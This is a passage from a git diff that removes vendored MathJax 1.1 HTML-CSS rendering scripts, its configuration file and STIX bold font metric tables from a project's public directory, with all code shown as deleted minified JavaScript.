- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.StartupHook("HTML-CSS Jax Ready",function(){var c="1.1";var a=MathJax.ElementJax.mml,b=MathJax.OutputJax["HTML-CSS"];a.mglyph.Augment({toHTML:function(i,h){var k=i,f=this.getValues("src","width","height","valign","alt"),j;i=this.HTMLcreateSpan(i);if(f.src===""){var g=this.Get("index");if(g){h=this.HTMLgetVariant();var e=h.defaultFont;if(e){e.noStyleChar=true;e.testString=String.fromCharCode(g)+"ABCabc";if(b.Font.testFont(e)){this.HTMLhandleVariant(i,h,String.fromCharCode(g))}else{if(f.alt===""){f.alt="Bad font: "+e.family}j=a.merror(f.alt).With({mathsize:"75%"});this.Append(j);j.toHTML(i);this.data.pop();i.bbox=j.HTMLspanElement().bbox}}}}else{if(!this.img){this.img=a.mglyph.GLYPH[f.src]}if(!this.img){this.img=a.mglyph.GLYPH[f.src]={img:new Image(),status:"pending"};var d=this.img.img;d.onload=MathJax.Callback(["HTMLimgLoaded",this]);d.onerror=MathJax.Callback(["HTMLimgError",this]);d.src=f.src;MathJax.Hub.RestartAfter(d.onload)}if(this.img.status!=="OK"){j=a.merror("Bad mglyph: "+f.src).With({mathsize:"75%"});this.Append(j);j.toHTML(i);this.data.pop();i.bbox=j.HTMLspanElement().bbox}else{d=b.addElement(i,"img",{src:f.src,alt:f.alt,title:f.alt});if(f.width){if(String(f.width).match(/^\s*-?\d+\s*$/)){f.width+="px"}d.style.width=b.Em(b.length2em(f.width,this.img.img.width/b.em))}if(f.height){if(String(f.height).match(/^\s*-?\d+\s*$/)){f.height+="px"}d.style.height=b.Em(b.length2em(f.height,this.img.img.height/b.em))}i.bbox.w=i.bbox.rw=d.offsetWidth/b.em;i.bbox.h=d.offsetHeight/b.em;if(f.valign){if(String(f.valign).match(/^\s*-?\d+\s*$/)){f.valign+="px"}i.bbox.d=-b.length2em(f.valign,this.img.img.height/b.em);d.style.verticalAlign=b.Em(-i.bbox.d);i.bbox.h-=i.bbox.d}}}if(!k.bbox){k.bbox={w:i.bbox.w,h:i.bbox.h,d:i.bbox.d,rw:i.bbox.rw,lw:i.bbox.lw}}else{if(i.bbox){k.bbox.w+=i.bbox.w;if(k.bbox.w>k.bbox.rw){k.bbox.rw=k.bbox.w}if(i.bbox.h>k.bbox.h){k.bbox.h=i.bbox.h}if(i.bbox.d>k.bbox.d){k.bbox.d=i.bbox.d}}}this.HTMLhandleSpace(i);this.HTMLhandleColor(i);return i},HTMLimgLoaded:function(e,d){if(typeof(e)==="string"){d=e}this.img.status=(d||"OK")},HTMLimgError:function(){this.img.img.onload("error")}},{GLYPH:{}});MathJax.Hub.Startup.signal.Post("HTML-CSS mglyph Ready");MathJax.Ajax.loadComplete(b.autoloadDir+"/mglyph.js")});
-
diff --git a/public/MathJax/jax/output/HTML-CSS/autoload/mmultiscripts.js b/public/MathJax/jax/output/HTML-CSS/autoload/mmultiscripts.js
deleted file mode 100644
index 04fbd836..00000000
--- a/public/MathJax/jax/output/HTML-CSS/autoload/mmultiscripts.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/autoload/mmultiscripts.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.StartupHook("HTML-CSS Jax Ready",function(){var c="1.1";var a=MathJax.ElementJax.mml,b=MathJax.OutputJax["HTML-CSS"];a.mmultiscripts.Augment({toHTML:function(H,F,A){H=this.HTMLcreateSpan(H);var M=this.HTMLgetScale();var k=b.createStack(H),f;var j=b.createBox(k);this.HTMLmeasureChild(this.base,j);if(this.data[this.base]){if(A!=null){b.Remeasured(this.data[this.base].HTMLstretchV(j,F,A),j)}else{if(F!=null){b.Remeasured(this.data[this.base].HTMLstretchH(j,F),j)}}}var K=b.TeX.x_height*M,z=b.TeX.scriptspace*M*0.75;var y=this.HTMLgetScripts(k,z);var l=y[0],e=y[1],o=y[2],i=y[3];var g=(this.data[1]||this).HTMLgetScale();var C=b.TeX.sup_drop*g,B=b.TeX.sub_drop*g;var w=j.bbox.h-C,n=j.bbox.d+B,L=0,E;if(j.bbox.ic){L=j.bbox.ic}if(this.data[this.base]&&(this.data[this.base].type==="mi"||this.data[this.base].type==="mo")){if(this.data[this.base].data.join("").length===1&&j.bbox.scale===1&&!this.data[this.base].Get("largeop")){w=n=0}}var G=this.getValues("subscriptshift","superscriptshift");G.subscriptshift=(G.subscriptshift===""?0:b.length2em(G.subscriptshift));G.superscriptshift=(G.superscriptshift===""?0:b.length2em(G.superscriptshift));var m=0;if(o){m=o.bbox.w+L}else{if(i){m=i.bbox.w-L}}if(m<0){m=0}b.placeBox(j,m,0);if(!e&&!i){n=Math.max(n,b.TeX.sub1*M,G.subscriptshift);if(l){n=Math.max(n,l.bbox.h-(4/5)*K)}if(o){n=Math.max(n,o.bbox.h-(4/5)*K)}if(l){b.placeBox(l,m+j.bbox.w+z-L,-n)}if(o){b.placeBox(o,0,-n)}}else{if(!l&&!o){f=this.getValues("displaystyle","texprimestyle");E=b.TeX[(f.displaystyle?"sup1":(f.texprimestyle?"sup3":"sup2"))];w=Math.max(w,E*M,G.superscriptshift);if(e){w=Math.max(w,e.bbox.d+(1/4)*K)}if(i){w=Math.max(w,i.bbox.d+(1/4)*K)}if(e){b.placeBox(e,m+j.bbox.w+z,w)}if(i){b.placeBox(i,0,w)}}else{n=Math.max(n,b.TeX.sub2*M);var x=b.TeX.rule_thickness*M;var I=(l||o).bbox.h,J=(e||i).bbox.d;if(o){I=Math.max(I,o.bbox.h)}if(i){J=Math.max(J,i.bbox.d)}if((w-J)-(I-n)<3*x){n=3*x-w+J+I;C=(4/5)*K-(w-J);if(C>0){w+=C;n-=C}}w=Math.max(w,G.superscriptshift);n=Math.max(n,G.subscriptshift);if(e){b.placeBox(e,m+j.bbox.w+z,w)}if(i){b.placeBox(i,m+L-i.bbox.w,w)}if(l){b.placeBox(l,m+j.bbox.w+z-L,-n)}if(o){b.placeBox(o,m-o.bbox.w,-n)}}}this.HTMLhandleSpace(H);this.HTMLhandleColor(H);return H},HTMLgetScripts:function(p,q){var o,d,e=[];var n=1,g=this.data.length,f=0;for(var h=0;h<4;h+=2){while(n<g&&this.data[n].type!=="mprescripts"){for(var l=h;l<h+2;l++){if(this.data[n]&&this.data[n].type!=="none"){if(!e[l]){e[l]=b.createBox(p);e[l].bbox=this.HTMLemptyBBox({});if(f){b.createBlank(e[l],f);e[l].bbox.w=e[l].bbox.rw=f}}this.data[n].toHTML(e[l]);this.HTMLcombineBBoxes(this.data[n],e[l].bbox)}n++}d=e[h];o=e[h+1];if(d&&o){if(d.bbox.w<o.bbox.w){b.createBlank(d,o.bbox.w-d.bbox.w);d.bbox.w=o.bbox.w;d.bbox.rw=Math.max(d.bbox.w,d.bbox.rw)}else{if(d.bbox.w>o.bbox.w){b.createBlank(o,d.bbox.w-o.bbox.w);o.bbox.w=d.bbox.w;o.bbox.rw=Math.max(o.bbox.w,o.bbox.rw)}}}if(d){f=d.bbox.w}else{if(o){f=o.bbox.w}}}n++;f=0}for(l=0;l<4;l++){if(e[l]){e[l].bbox.w+=q;e[l].bbox.rw=Math.max(e[l].bbox.w,e[l].bbox.rw);this.HTMLcleanBBox(e[l].bbox)}}return e},HTMLstretchH:a.mbase.HTMLstretchH,HTMLstretchV:a.mbase.HTMLstretchV});MathJax.Hub.Startup.signal.Post("HTML-CSS mmultiscripts Ready");MathJax.Ajax.loadComplete(b.autoloadDir+"/mmultiscripts.js")});
-
diff --git a/public/MathJax/jax/output/HTML-CSS/autoload/ms.js b/public/MathJax/jax/output/HTML-CSS/autoload/ms.js
deleted file mode 100644
index f9b40e8c..00000000
--- a/public/MathJax/jax/output/HTML-CSS/autoload/ms.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/autoload/ms.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.StartupHook("HTML-CSS Jax Ready",function(){var c="1.1";var a=MathJax.ElementJax.mml,b=MathJax.OutputJax["HTML-CSS"];a.ms.Augment({toHTML:function(e){e=this.HTMLhandleSize(this.HTMLcreateSpan(e));var d=this.getValues("lquote","rquote");var g=this.data.join("");var f=[];if(d.lquote.length===1){f.push(this.HTMLquoteRegExp(d.lquote))}if(d.rquote.length===1){f.push(this.HTMLquoteRegExp(d.rquote))}if(f.length){g=g.replace(RegExp("("+f.join("|")+")","g"),"\\$1")}this.HTMLhandleVariant(e,this.HTMLgetVariant(),d.lquote+g+d.rquote);this.HTMLhandleSpace(e);this.HTMLhandleColor(e);return e},HTMLquoteRegExp:function(d){return d.replace(/([.*+?|{}()\[\]\\])/g,"\\$1")}});a.ms.prototype.defaults.fontfamily="monospace";MathJax.Hub.Startup.signal.Post("HTML-CSS ms Ready");MathJax.Ajax.loadComplete(b.autoloadDir+"/ms.js")});
-
diff --git a/public/MathJax/jax/output/HTML-CSS/autoload/mtable.js b/public/MathJax/jax/output/HTML-CSS/autoload/mtable.js
deleted file mode 100644
index 15149347..00000000
--- a/public/MathJax/jax/output/HTML-CSS/autoload/mtable.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/autoload/mtable.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.StartupHook("HTML-CSS Jax Ready",function(){var c="1.1";var a=MathJax.ElementJax.mml,b=MathJax.OutputJax["HTML-CSS"];a.mtable.Augment({toHTML:function(X){X=this.HTMLcreateSpan(X);if(this.data.length===0){return X}var aJ=this.getValues("columnalign","rowalign","columnspacing","rowspacing","columnwidth","equalcolumns","equalrows","columnlines","rowlines","frame","framespacing","align","useHeight","width","side","minlabelspacing");var r=aJ.width.match(/%$/);var ag=b.createStack(X);var am=this.HTMLgetScale();var aH=-1;var w=[],I=[],l=[],O=[],K=[],aF,aE,v=-1,aC,t,ay,R;var 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-
diff --git a/public/MathJax/jax/output/HTML-CSS/autoload/multiline.js b/public/MathJax/jax/output/HTML-CSS/autoload/multiline.js
deleted file mode 100644
index 7ffcfd93..00000000
--- a/public/MathJax/jax/output/HTML-CSS/autoload/multiline.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/autoload/multiline.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Register.StartupHook("HTML-CSS Jax Ready",function(){var c="1.1";var a=MathJax.ElementJax.mml,b=MathJax.OutputJax["HTML-CSS"];a.mbase.Augment({toHTMLmultiline:function(u,r){u=this.HTMLcreateSpan(u);if(!this.type!=="mrow"){u=this.HTMLhandleSize(u)}var g=b.createStack(u);var o=[],f=[],p=-b.BIGDIMEN,q=-b.BIGDIMEN,v,t,s,k;for(t=0,k=r.length-1;t<k;t++){o[t]=b.createBox(g);for(v=r[t][0],s=r[t+1][0];v<s;v++){if(this.data[v]){this.data[v].toHTML(o[t])}}if(this.data[r[t][0]]){this.data[r[t][0]].HTMLspanElement().style.paddingLeft=""}if(this.data[r[t][s-1]]){this.data[r[t][s-1]].HTMLspanElement().style.paddingRight=""}f[t]=this.HTMLcomputeBBox(o[t],null,r[t][0],r[t+1][0]);if(o[t].bbox.h>p){p=o[t].bbox.h}if(o[t].bbox.d>q){q=o[t].bbox.d}}var n=0,x=this.HTMLgetScale(),e=b.FONTDATA.baselineskip*x;var l=this,h;while(l.inferred||(l.parent&&l.parent.type==="mrow"&&l.parent.data.length===1)){l=l.parent}var w=(l.type==="math"||l.type==="mtd");l.isMultiline=true;for(t=0,k=r.length-1;t<k;t++){for(v=0,s=f[t].length;v<s;v++){f[t][v].HTMLstretchV(o[t],p,q)}if(f[t].length){this.HTMLcomputeBBox(o[t],true,r[t][0],r[t+1][0])}var d=r[t][1].getValues("indentalign","indentshift");d.lineleading=b.length2em(r[t+1][1].Get("lineleading"),0.5);if(t===0){h=r[t+1][1].getValues("indentalignfirst","indentshiftfirst");d.ALIGN=h.indentalignfirst;d.SHIFT=h.indentshiftfirst}else{if(t===k-1){h=r[t][1].getValues("indentalignlast","indentshiftlast");d.ALIGN=h.indentalignlast;d.SHIFT=h.indentshiftlast}}if(d.ALIGN&&d.ALIGN!==a.INDENTALIGN.INDENTALIGN){d.indentalign=d.ALIGN}if(d.SHIFT&&d.SHIFT!==a.INDENTSHIFT.INDENTSHIFT){d.indentshift=d.SHIFT}if(d.indentalign==a.INDENTALIGN.AUTO){d.indentalign=(w?this.displayAlign:a.INDENTALIGN.LEFT)}if(d.indentshift==="auto"||d.indentshift===""){d.indentshift=(w?this.displayIndent:"0")}d.indentshift=b.length2em(d.indentshift,0);if(d.indentshift&&d.indentalign!==a.INDENTALIGN.CENTER){b.createBlank(o[t],d.indentshift,(d.indentalign!==a.INDENTALIGN.RIGHT));o[t].bbox.w+=d.indentshift;o[t].bbox.rw+=d.indentshift}b.alignBox(o[t],d.indentalign,n);if(t<k-1){n-=Math.max(e,o[t].bbox.d+o[t+1].bbox.h+d.lineleading)}}if(w){g.style.width="100%";if(l.type==="math"){u.bbox.width="100%"}}this.HTMLhandleSpace(u);this.HTMLhandleColor(u);u.bbox.isMultiline=true;return u}});MathJax.Hub.Startup.signal.Post("HTML-CSS multiline Ready");MathJax.Ajax.loadComplete(b.autoloadDir+"/multiline.js")});
-
diff --git a/public/MathJax/jax/output/HTML-CSS/config.js b/public/MathJax/jax/output/HTML-CSS/config.js
deleted file mode 100644
index d4fd7d72..00000000
--- a/public/MathJax/jax/output/HTML-CSS/config.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/config.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"]=MathJax.OutputJax({id:"HTML-CSS",version:"1.1.5",directory:MathJax.OutputJax.directory+"/HTML-CSS",extensionDir:MathJax.OutputJax.extensionDir+"/HTML-CSS",autoloadDir:MathJax.OutputJax.directory+"/HTML-CSS/autoload",fontDir:MathJax.OutputJax.directory+"/HTML-CSS/fonts",webfontDir:MathJax.OutputJax.fontDir+"/HTML-CSS",config:{scale:100,minScaleAdjust:50,availableFonts:["STIX","TeX"],preferredFont:"TeX",webFont:"TeX",imageFont:"TeX",undefinedFamily:"STIXGeneral,'Arial Unicode MS',serif",showMathMenu:true,styles:{".MathJax_Display":{"text-align":"center",margin:"1em 0em"},".MathJax .merror":{"background-color":"#FFFF88",color:"#CC0000",border:"1px solid #CC0000",padding:"1px 3px","font-family":"serif","font-style":"normal","font-size":"90%"},".MathJax_Preview":{color:"#888888"},"#MathJax_Tooltip":{"background-color":"InfoBackground",color:"InfoText",border:"1px solid black","box-shadow":"2px 2px 5px #AAAAAA","-webkit-box-shadow":"2px 2px 5px #AAAAAA","-moz-box-shadow":"2px 2px 5px #AAAAAA","-khtml-box-shadow":"2px 2px 5px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')",padding:"3px 4px"}}}});if(MathJax.Hub.Browser.isMSIE&&document.documentMode>=9){delete MathJax.OutputJax["HTML-CSS"].config.styles["#MathJax_Tooltip"].filter}if(!MathJax.Hub.config.delayJaxRegistration){MathJax.OutputJax["HTML-CSS"].Register("jax/mml")}MathJax.Hub.Register.StartupHook("End Config",[function(b,c){var a=b.Insert({minBrowserVersion:{Firefox:3,Opera:9.52,MSIE:6,Chrome:0.3,Safari:2,Konqueror:4},inlineMathDelimiters:["$","$"],displayMathDelimiters:["$$","$$"],multilineDisplay:true,minBrowserTranslate:function(f){var e=b.getJaxFor(f),k=["[Math]"],j;var h=document.createElement("span",{className:"MathJax_Preview"});if(e.inputJax.id==="TeX"){if(e.root.Get("displaystyle")){j=a.displayMathDelimiters;k=[j[0]+e.originalText+j[1]];if(a.multilineDisplay){k=k[0].split(/\n/)}}else{j=a.inlineMathDelimiters;k=[j[0]+e.originalText.replace(/^\s+/,"").replace(/\s+$/,"")+j[1]]}}for(var g=0,d=k.length;g<d;g++){h.appendChild(document.createTextNode(k[g]));if(g<d-1){h.appendChild(document.createElement("br"))}}f.parentNode.insertBefore(h,f)}},(b.config["HTML-CSS"]||{}));if(b.Browser.version!=="0.0"&&!b.Browser.versionAtLeast(a.minBrowserVersion[b.Browser]||0)){c.Translate=a.minBrowserTranslate;b.Config({showProcessingMessages:false});MathJax.Message.Set("Your browser does not support MathJax",null,4000);b.Startup.signal.Post("MathJax not supported")}},MathJax.Hub,MathJax.OutputJax["HTML-CSS"]]);MathJax.OutputJax["HTML-CSS"].loadComplete("config.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/AlphaPresentForms.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/AlphaPresentForms.js
deleted file mode 100644
index f320f83d..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/AlphaPresentForms.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/AlphaPresentForms.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{64256:[691,0,610,15,666],64257:[691,0,556,14,536],64258:[691,0,556,15,535],64259:[691,0,833,15,813],64260:[691,0,833,15,812]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/AlphaPresentForms.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/Arrows.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/Arrows.js
deleted file mode 100644
index b1a3a33a..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/Arrows.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/Arrows.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{8592:[451,-55,977,68,909],8593:[676,170,584,94,490],8594:[451,-55,977,68,909],8595:[676,170,584,94,490],8596:[451,-55,977,30,948],8597:[736,230,584,94,490],8598:[676,170,977,68,911],8599:[676,170,977,68,911],8600:[676,170,977,68,911],8601:[676,170,977,68,911],8602:[451,-55,977,68,909],8603:[451,-55,977,68,909],8604:[462,-72,956,66,890],8605:[462,-72,956,66,890],8606:[451,-55,977,68,909],8607:[676,165,568,86,482],8608:[451,-55,977,68,909],8609:[676,165,568,86,482],8610:[451,-55,977,68,909],8611:[451,-55,977,68,909],8612:[451,-55,977,68,909],8613:[676,165,584,94,490],8614:[451,-55,977,68,909],8615:[676,165,584,94,490],8616:[732,196,584,94,490],8617:[539,-55,966,66,900],8618:[539,-55,966,66,900],8619:[540,6,966,66,900],8620:[540,6,966,66,900],8621:[451,-55,1297,55,1242],8622:[451,-55,977,30,948],8623:[683,154,562,68,494],8624:[686,170,584,45,503],8625:[686,170,584,81,539],8626:[686,170,584,45,503],8627:[686,170,584,81,539],8628:[686,162,960,66,894],8629:[686,171,960,56,904],8630:[524,0,971,66,905],8631:[524,0,971,66,905],8632:[768,170,977,68,911],8633:[618,114,977,68,909],8634:[693,127,974,105,869],8635:[693,127,974,105,869],8636:[501,-209,977,66,910],8637:[297,-5,977,65,909],8638:[694,162,552,239,481],8639:[694,162,352,71,313],8640:[501,-209,977,66,910],8641:[297,-5,977,66,910],8642:[694,162,552,239,481],8643:[694,162,552,71,313],8644:[618,114,977,68,909],8645:[676,165,864,66,798],8646:[618,114,977,68,909],8647:[618,114,977,68,909],8648:[676,165,864,66,798],8649:[618,114,977,68,909],8650:[676,165,864,66,798],8651:[571,21,977,66,910],8652:[571,21,977,66,910],8653:[570,64,977,68,909],8654:[570,64,1240,50,1190],8655:[570,64,977,68,909],8656:[570,64,977,68,909],8657:[676,170,714,40,674],8658:[570,64,977,68,909],8659:[676,170,714,40,674],8660:[570,64,1240,50,1190],8661:[736,230,714,40,674],8662:[662,156,926,54,872],8663:[662,156,926,54,872],8664:[662,156,926,54,872],8665:[662,156,926,54,872],8668:[451,-55,977,62,914],8669:[451,-55,977,62,914],8678:[551,45,926,60,866],8679:[662,156,685,45,641],8680:[551,45,926,60,866],8681:[662,156,685,45,641],8682:[705,201,685,45,641],8693:[676,165,864,66,798]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/Arrows.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/BoldFraktur.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/BoldFraktur.js
deleted file mode 100644
index 65c406da..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/BoldFraktur.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/BoldFraktur.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{120172:[701,25,856,50,805],120173:[701,19,849,50,794],120174:[701,19,773,54,731],120175:[701,19,891,54,836],120176:[701,19,788,54,731],120177:[701,205,803,54,748],120178:[701,19,833,54,781],120179:[701,205,843,42,795],120180:[701,25,790,54,735],120181:[701,205,803,54,748],120182:[701,25,864,42,814],120183:[701,25,699,51,645],120184:[701,25,1133,50,1081],120185:[701,25,862,50,810],120186:[701,19,909,54,854],120187:[701,205,850,50,795],120188:[701,59,930,54,902],120189:[701,25,884,50,841],120190:[701,19,852,54,802],120191:[701,25,793,54,740],120192:[701,25,860,54,809],120193:[701,19,855,50,800],120194:[701,19,1121,50,1066],120195:[701,25,819,50,775],120196:[701,205,837,50,782],120197:[701,195,755,44,703],120198:[475,24,600,55,545],120199:[695,24,559,45,504],120200:[475,24,464,55,412],120201:[694,25,557,48,502],120202:[475,24,476,55,427],120203:[700,214,370,33,352],120204:[475,219,566,55,506],120205:[695,219,576,45,516],120206:[697,24,429,35,379],120207:[697,219,389,40,337],120208:[695,24,456,48,402],120209:[695,24,433,45,379],120210:[475,24,984,40,932],120211:[475,24,696,40,644],120212:[475,24,554,45,499],120213:[593,219,640,36,585],120214:[475,219,574,55,522],120215:[475,24,525,40,493],120216:[643,31,557,52,505],120217:[656,23,438,45,378],120218:[475,24,681,35,629],120219:[593,24,573,55,526],120220:[593,24,850,55,795],120221:[475,209,521,50,489],120222:[593,219,596,55,536],120223:[475,219,484,36,437]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/BoldFraktur.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/BoxDrawing.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/BoxDrawing.js
deleted file mode 100644
index 1862e777..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/BoxDrawing.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/BoxDrawing.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{9472:[340,-267,708,-11,719],9474:[910,303,696,312,385],9484:[340,303,708,318,720],9488:[340,303,708,-11,390],9492:[910,-267,708,318,720],9496:[910,-267,708,-11,390],9500:[910,303,708,318,720],9508:[910,303,708,-11,390],9516:[340,303,708,-11,719],9524:[910,-267,708,-11,719],9532:[910,303,708,-11,719],9552:[433,-174,708,-11,719],9553:[910,303,708,225,484],9554:[433,303,708,318,720],9555:[340,303,708,225,720],9556:[433,303,708,225,719],9557:[433,303,708,-11,390],9558:[340,303,708,-11,483],9559:[433,303,708,-11,483],9560:[910,-174,708,318,720],9561:[910,-267,708,225,720],9562:[910,-174,708,225,719],9563:[910,-174,708,-11,390],9564:[910,-267,708,-11,483],9565:[910,-174,708,-11,483],9566:[910,303,708,318,720],9567:[910,303,708,225,720],9568:[910,303,708,225,720],9569:[910,303,708,-11,390],9570:[910,303,708,-11,483],9571:[910,303,708,-11,483],9572:[433,303,708,-11,719],9573:[340,303,708,-11,719],9574:[433,303,708,-11,719],9575:[910,-174,708,-11,719],9576:[910,-267,708,-11,719],9577:[910,-174,708,-11,719],9578:[910,303,708,-11,719],9579:[910,303,708,-11,719],9580:[910,303,708,-11,719]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/BoxDrawing.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/CombDiacritMarks.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/CombDiacritMarks.js
deleted file mode 100644
index aa760d6b..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{768:[713,-528,0,-369,-131],769:[713,-528,0,-369,-131],770:[704,-528,0,-418,-81],771:[674,-547,0,-432,-67],772:[637,-565,0,-415,-85],773:[838,-788,0,-500,0],774:[691,-528,0,-401,-98],775:[666,-537,0,-314,-185],776:[666,-537,0,-419,-80],777:[751,-491,0,-336,-131],778:[750,-537,0,-356,-143],779:[713,-528,0,-469,-31],780:[704,-528,0,-418,-81],781:[730,-530,0,-277,-211],782:[730,-530,0,-358,-142],783:[713,-528,0,-469,-31],784:[828,-528,0,-401,-98],785:[691,-528,0,-401,-98],786:[867,-532,0,-342,-158],787:[867,-532,0,-342,-158],788:[867,-532,0,-342,-158],789:[867,-532,0,-116,68],790:[-70,255,0,-369,-131],791:[-70,255,0,-369,-131],792:[-58,288,0,-425,-223],793:[-58,288,0,-288,-86],794:[752,-531,0,-410,-93],795:[505,-352,0,-62,66],796:[-33,313,0,-375,-190],797:[-70,272,0,-365,-135],798:[-70,272,0,-365,-135],799:[-70,287,0,-356,-144],800:[-140,206,0,-356,-144],801:[75,287,0,-241,-22],802:[75,287,0,-94,125],803:[-109,238,0,-314,-185],804:[-109,238,0,-419,-80],805:[-66,279,0,-356,-143],806:[-88,423,0,-342,-158],807:[0,218,0,-363,-137],808:[44,173,0,-364,-135],809:[-107,239,0,-277,-222],810:[-86,260,0,-425,-93],811:[-104,242,0,-420,-95],812:[-83,259,0,-418,-81],813:[-85,261,0,-418,-81],814:[-78,241,0,-401,-98],815:[-78,241,0,-401,-98],816:[-108,235,0,-432,-67],817:[-137,209,0,-415,-85],818:[-137,187,0,-500,0],819:[-137,287,0,-500,0],820:[316,-189,0,-432,-67],821:[282,-224,0,-414,-108],822:[282,-224,0,-510,-10],823:[580,74,0,-410,-43],824:[662,156,0,-410,31],825:[-33,313,0,-375,-190],826:[-71,245,0,-425,-93],827:[-70,264,0,-353,-167],828:[-89,234,0,-410,-109],829:[719,-520,0,-350,-150],830:[881,-516,